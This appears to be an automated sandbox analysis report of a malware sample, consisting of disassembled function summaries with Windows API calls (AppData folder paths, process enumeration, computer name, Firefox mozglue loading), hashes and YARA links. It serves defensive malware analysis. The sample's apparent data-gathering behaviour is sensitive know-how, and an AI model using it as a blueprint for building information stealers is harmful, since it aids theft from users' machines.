Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: ERROR
API String ID: 3722407311-2861137601
Opcode ID: 924a3491ca894d415f129f6236ae38640971dc6adf956737010b8628ad4fcb44
Instruction ID: 96d292e37b4edc4f66626b3309e2c49a2a71cb9c044d3a510559c149ee0ec376
Opcode Fuzzy Hash: 924a3491ca894d415f129f6236ae38640971dc6adf956737010b8628ad4fcb44
Instruction Fuzzy Hash: 392123707102065BCB24BF7ACD4A79B37A4AF04304F40453AB949EB2E2DA79D8568798

Function 00408D80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00408C9B,00000000,?,?,00000000), ref: 00408D92
std::exception::exception.LIBCMT ref: 00408DAD
__CxxThrowException@8.LIBCMT ref: 00408DC2

Strings

Pv@, xrefs: 00408DBB

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: ??2@Exception@8Throwstd::exception::exception
String ID: Pv@
API String ID: 3448701045-2621728834
Opcode ID: 391e4da74eac711dc0a38667d6ecf8631faf2cef551054817233833097f8efed
Instruction ID: 1151ff16b9d42919028f4a4301b57de67f6216249db976326f17686c7274d3e5
Opcode Fuzzy Hash: 391e4da74eac711dc0a38667d6ecf8631faf2cef551054817233833097f8efed
Instruction Fuzzy Hash: 1BE02B7050430A97CB18F7B49D016BF73789F10304F40476EE915A12C1EF798504859D

Function 0041E640 Relevance: 6.2, APIs: 4, Instructions: 157stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041E68B
lstrcpy.KERNEL32(00000000,?), ref: 0041E6C0
lstrcatA.KERNEL32(?,00000000), ref: 0041E6CC
lstrcatA.KERNEL32(?,008110D8), ref: 0041E6E5

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$FolderPathlstrcpy
String ID:
API String ID: 818526691-0
Opcode ID: 729a1ffd07117d6b6c485261ece5f740235c777db0fcdb177bb6169d757f10e8
Instruction ID: b6fa5c4512f48cba296de8b2b0630b720980f45750d0de92baf563ff4d21f748
Opcode Fuzzy Hash: 729a1ffd07117d6b6c485261ece5f740235c777db0fcdb177bb6169d757f10e8
Instruction Fuzzy Hash: 5751C375600204AFC354EF25DC46EEB77A9EB84304F40883EBD55832E1DE78E9498BD6

Function 0041ECD0 Relevance: 6.1, APIs: 4, Instructions: 90stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041ED14
lstrcpy.KERNEL32(00000000,?), ref: 0041ED43
lstrcatA.KERNEL32(?,00000000), ref: 0041ED51
lstrcatA.KERNEL32(?,00810FF0), ref: 0041ED6C

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$FolderPathlstrcpy
String ID:
API String ID: 818526691-0
Opcode ID: bbe82c4b2dd66989dd89e87f7d078ffcaa3a8e467cb6e30c59e3a1aaef53a1fe
Instruction ID: 21d35195d54f13e0978c005d0c883f4c60a431b4dba0eb20a7eba9dba2627768
Opcode Fuzzy Hash: bbe82c4b2dd66989dd89e87f7d078ffcaa3a8e467cb6e30c59e3a1aaef53a1fe
Instruction Fuzzy Hash: E331B775A101199BCB10EF64DD45BEE77B4BF44304F00007ABA45A72E1DFB4AE858F98

Function 004244A0 Relevance: 6.0, APIs: 4, Instructions: 40stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,00000000), ref: 004244B2
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004244CD
CloseHandle.KERNEL32(00000000), ref: 004244D4
lstrcpy.KERNEL32(00000000,?), ref: 00424507

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcesslstrcpy
String ID:
API String ID: 4028989146-0
Opcode ID: d0227dafed5a4f7b3385dd349d18c5ece00f099b702ecf6635fdecce3cc23fbb
Instruction ID: 43d8c68430e4b6c8a12b06542ce5cfbeb684942d29356633b2193efdf3686079
Opcode Fuzzy Hash: d0227dafed5a4f7b3385dd349d18c5ece00f099b702ecf6635fdecce3cc23fbb
Instruction Fuzzy Hash: 69F028B0A012242BE720AB70AD48BE67A68DF54300F0000A6FB44D7280DBF49880CBE4

Function 00420946 Relevance: 5.9, APIs: 4, Instructions: 910stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

lstrcpy.KERNEL32(00000000,?), ref: 004209AD

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 74782ab3caf4636c859b972a4243e38d31dae2e91d7a7f3775f14d82982d1661
Instruction ID: 528ddfc91b89be1f4bce67a2e4d6b4a627ef1302b8f3a52d118dbaf190389a2c
Opcode Fuzzy Hash: 74782ab3caf4636c859b972a4243e38d31dae2e91d7a7f3775f14d82982d1661
Instruction Fuzzy Hash: 7C823C74A012118FDB24CF29D484B6AB7E1BF58318F59C1AED4089B3A2DB79DC82CB55

Function 0042097D Relevance: 5.9, APIs: 4, Instructions: 901stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 004209AD

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: d3d0fc9275089e907c3ce772e1106a7d1636d42d7297692aec3272935f7b3457
Instruction ID: 11607c01469bc528d7ba227f4baedfb4c0bf98b81f7bb7e46ed5d1e93bca2add
Opcode Fuzzy Hash: d3d0fc9275089e907c3ce772e1106a7d1636d42d7297692aec3272935f7b3457
Instruction Fuzzy Hash: C8823C74B012118FDB24CF29D484B6AB7E1BF58318F59C1AED4089B3A2DB79DC82CB55

Function 00413770 Relevance: 5.5, APIs: 4, Instructions: 490stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

lstrcpy.KERNEL32(00000000,?), ref: 004137CE
lstrcpy.KERNEL32(00000000,?), ref: 004137F7
lstrcpy.KERNEL32(00000000,?), ref: 0041381D
lstrcpy.KERNEL32(00000000,?), ref: 00413843

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 176bd078d001f3a3cee0bd7e12a5019a66141dedb1b9bb58a0adc99e4f111f11
Instruction ID: 5f8bedef41d410a1708272d2323bffb6ddc79641cf662c07bed476b2b08276da
Opcode Fuzzy Hash: 176bd078d001f3a3cee0bd7e12a5019a66141dedb1b9bb58a0adc99e4f111f11
Instruction Fuzzy Hash: C5120E70A152018FDB18CF19C544B66B7E5AF44719B1DC0AED809DB3A2D776ED82CF88

Function 00420A21 Relevance: 4.6, APIs: 3, Instructions: 852stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00427210: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042722E

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,?), ref: 0040602F
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406082
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060B5
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060E5
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406120

Part of subcall function 00418470: strtok_s.MSVCRT ref: 00418493

Part of subcall function 004023E0: lstrcpy.KERNEL32(00000000,?), ref: 00402434
Part of subcall function 004023E0: lstrcpy.KERNEL32(00000000,?), ref: 0040245A
Part of subcall function 004023E0: lstrcpy.KERNEL32(00000000,?), ref: 00402483

lstrcpy.KERNEL32(00000000,00809AE8), ref: 00420B18
lstrcpy.KERNEL32(00000000,?), ref: 00420BAC
lstrcpy.KERNEL32(00000000,00809AE8), ref: 00420D4E
lstrcpy.KERNEL32(00000000,?), ref: 00420DE2
lstrcpy.KERNEL32(00000000,?), ref: 00420E32

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s
String ID:
API String ID: 2610293679-0
Opcode ID: cdb9983f8c0c3138012dd17977d20bca77aabf5d0056e80971cfee69f8e35784
Instruction ID: 63a0c451193379f4fb0ae16707d67efacb30ea8b2779ede04161e26438591baf
Opcode Fuzzy Hash: cdb9983f8c0c3138012dd17977d20bca77aabf5d0056e80971cfee69f8e35784
Instruction Fuzzy Hash: 41722D74B012118FDB24CF19D484B6AB7E1BF58318F99C1AED4089B3A2DB79DC82CB55

Function 00420A80 Relevance: 4.6, APIs: 3, Instructions: 831stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Part of subcall function 004023E0: lstrcpy.KERNEL32(00000000,?), ref: 00402434
Part of subcall function 004023E0: lstrcpy.KERNEL32(00000000,?), ref: 0040245A
Part of subcall function 004023E0: lstrcpy.KERNEL32(00000000,?), ref: 00402483

lstrcpy.KERNEL32(00000000,00809AE8), ref: 00420B18
lstrcpy.KERNEL32(00000000,?), ref: 00420BAC
lstrcpy.KERNEL32(00000000,00809AE8), ref: 00420D4E
lstrcpy.KERNEL32(00000000,?), ref: 00420DE2
lstrcpy.KERNEL32(00000000,?), ref: 00420E32

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 6919d22cd65f7f231fb4cdb7756507e1f326adc96d11013b78b10f4d6456fcee
Instruction ID: 60ab10508dec703855ea5b43b9f565a4ae86eff5d7a0db6cd28bdebe754e14db
Opcode Fuzzy Hash: 6919d22cd65f7f231fb4cdb7756507e1f326adc96d11013b78b10f4d6456fcee
Instruction Fuzzy Hash: 79722B74B012118FDB24CF19D484B66B7E1BF58318F99C1AED4089B3A2DB79DC82CB55

Function 00422A70 Relevance: 4.5, APIs: 3, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00422A9F
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00422AA6
GetComputerNameA.KERNEL32(00000000,00000104), ref: 00422ABA

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 89c094a8b81892316512317cb7ce5e1621a3375259a5f4a7fbd5292767c04ed5
Instruction ID: e72a5f4e9182ec47597c37c293f2807634b78c963232f007fbf3f555b459a14f
Opcode Fuzzy Hash: 89c094a8b81892316512317cb7ce5e1621a3375259a5f4a7fbd5292767c04ed5
Instruction Fuzzy Hash: 1A01A272B44614ABC714DF99ED45B9AB7A8F748B21F00026BE915D3780D7B859008AE1

Function 6C9B3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C9B3095

Part of subcall function 6C9B35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CA3F688,00001000), ref: 6C9B35D5
Part of subcall function 6C9B35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9B35E0
Part of subcall function 6C9B35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9B35FD
Part of subcall function 6C9B35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C9B363F
Part of subcall function 6C9B35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C9B369F
Part of subcall function 6C9B35A0: __aulldiv.LIBCMT ref: 6C9B36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B309F

Part of subcall function 6C9D5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9D56EE,?,00000001), ref: 6C9D5B85
Part of subcall function 6C9D5B50: EnterCriticalSection.KERNEL32(6CA3F688,?,?,?,6C9D56EE,?,00000001), ref: 6C9D5B90
Part of subcall function 6C9D5B50: LeaveCriticalSection.KERNEL32(6CA3F688,?,?,?,6C9D56EE,?,00000001), ref: 6C9D5BD8
Part of subcall function 6C9D5B50: GetTickCount64.KERNEL32 ref: 6C9D5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9B30BE

Part of subcall function 6C9B30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C9B3127
Part of subcall function 6C9B30F0: __aulldiv.LIBCMT ref: 6C9B3140

Part of subcall function 6C9EAB2A: __onexit.LIBCMT ref: 6C9EAB30

Memory Dump Source

Source File: 00000000.00000002.2676141652.000000006C9B1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C9B0000, based on PE: true

Associated: 00000000.00000002.2676117000.000000006C9B0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2676241303.000000006CA2D000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2676273767.000000006CA3E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2676302652.000000006CA42000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9b0000_2BI8rJKpBa.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: e04ff50c864fe187837fc0f0dffa41a7d510595f41ad17b06c7d755398b06d7e
Instruction ID: 18c044645695a098a5345ed8fdea28b2c51b08c9a2b1d2bbcd064a42ed66037f
Opcode Fuzzy Hash: e04ff50c864fe187837fc0f0dffa41a7d510595f41ad17b06c7d755398b06d7e
Instruction Fuzzy Hash: 6BF0A252E30B8A96CB24DF348D511E6B370AF7B114B10A31EE84CA3521FB30A1D98391

Function 004023E0 Relevance: 4.1, APIs: 3, Instructions: 399stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

lstrcpy.KERNEL32(00000000,?), ref: 00402434
lstrcpy.KERNEL32(00000000,?), ref: 0040245A
lstrcpy.KERNEL32(00000000,?), ref: 00402483

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ce99d084cb8d321eb20491e10c5e01c055755119bb7a9ad78ced747b1a3f9d6b
Instruction ID: d24680cbe466f243112fcf3e41fc2ac045c0bd7ecbe92482bee360f36fcbec7f
Opcode Fuzzy Hash: ce99d084cb8d321eb20491e10c5e01c055755119bb7a9ad78ced747b1a3f9d6b
Instruction Fuzzy Hash: 05F1FE70A112118FDB28CF19C658726B7E5AF44318B19C1BED809AB3E1D7B6DC42CF98

Function 00416709 Relevance: 3.9, APIs: 3, Instructions: 115stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041672F
lstrcpy.KERNEL32(00000000,?), ref: 004167A1
lstrcpy.KERNEL32(00000000,?), ref: 004167C9

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 0c6b19658cb553404a816832ea78ef254b19ea8a66e1fa465ad47724d8fc956d
Instruction ID: c41c0e977f3017bfebc0dab2ca4c306d2d75f844932f2c6cb99987b01b1c0031
Opcode Fuzzy Hash: 0c6b19658cb553404a816832ea78ef254b19ea8a66e1fa465ad47724d8fc956d
Instruction Fuzzy Hash: B3414FB1A101058FCB20EF69D98999F77F1AF04308F50853AF858AB3E1CB78DD458B88

Function 0041BCC0 Relevance: 3.8, APIs: 3, Instructions: 98stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041BD59
lstrcpy.KERNEL32(00000000,?), ref: 0041BD89
lstrcpy.KERNEL32(00000000,?), ref: 0041BDB4

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 0b58131bc8d93fa0d8ce9fa49eb16331ce9876b0908983da948919e2b641a63c
Instruction ID: cd9434eedd3d3193235c907d4855f1657ae311b49d326ce2bbcfb8c2f5a7f4be
Opcode Fuzzy Hash: 0b58131bc8d93fa0d8ce9fa49eb16331ce9876b0908983da948919e2b641a63c
Instruction Fuzzy Hash: 5F31EA71B102158BCB14FF6ADA8A59F77B0AF40304F54457AF484BB2E2CA78ED418BD8

Function 0041E219 Relevance: 3.1, APIs: 2, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041E23F
GetFileAttributesA.KERNELBASE(00000000), ref: 0041E246

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
